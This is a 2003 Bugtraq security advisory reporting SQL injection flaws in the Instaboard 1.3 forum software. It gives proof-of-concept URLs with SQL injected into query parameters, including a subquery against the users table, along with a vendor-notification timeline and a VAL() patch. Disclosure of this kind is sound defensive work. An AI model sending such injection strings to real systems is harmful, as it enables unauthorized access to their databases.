[29770] in bugtraq
Instaboard 1.3 SQL Injection
daemon@ATHENA.MIT.EDU (Jim Dew)
Mon Apr 14 13:58:12 2003
Date: Mon, 14 Apr 2003 12:34:54 -0400
From: Jim Dew <jdew@cleannorth.org>
To: bugtraq@securityfocus.com
Message-ID: <20030414163454.GI22273@cleannorth.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Affected Product: NetPleasure's Instaboard 1.3
www.netpleasure.com/instaboard/
Venerability: Multiple SQL Injection Vunerabilities.
http://server/instaboard/index.cfm?frmid=1%20AND%20u.userid%20IN%20(select%20userid%20from%20users)
http://server/instaboard/index.cfm?frmid=1&tpcid=1%20SQL
http://server/instaboard/index.cfm?frmid=1%20SQL&tpcid=1
http://server/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1%20SQL&msgid=11
http://server/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11%20SQL
http://server/instaboard/index.cfm?catid=1%20SQL
Notification:
Messages were posted on the Instaboard demo forum, in the "Instaboard 1.3
Troubleshooting and Problems" area, on April 02 2003. As of yet, there has
been no reply publicly or privately from thei author. Author emailed at
instaboard@netpleasure.com on Tue, 8 Apr 2003 16:06:19 -0400
Proposed Solution:
If you have the licensed version of the product, protect the numerical
values within the CFQUERY tags:
for example:
In queries/oraclen/qry_GetOriginalMessage.cfm
change
WHERE m.tpcid = #tpcid#
AND m.userid = u.userid
AND m.msgid = #msgid#
to
WHERE m.tpcid = #VAL(tpcid)#
AND m.userid = u.userid
AND m.msgid = #VAL(msgid)#
--
"Most moms teach their daughters how to run a house, but you? You teach
yours the fine art of mass destruction."
- Nabs - Goodbye is not forever
perl -le '$_="6110>374086;2064208213:90<307;55";tr[0->][ LEOR!AUBGNSTY];print'
